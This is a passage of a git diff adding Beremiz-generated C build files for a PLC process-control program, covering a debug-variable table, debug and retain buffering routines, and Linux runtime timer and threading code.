REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 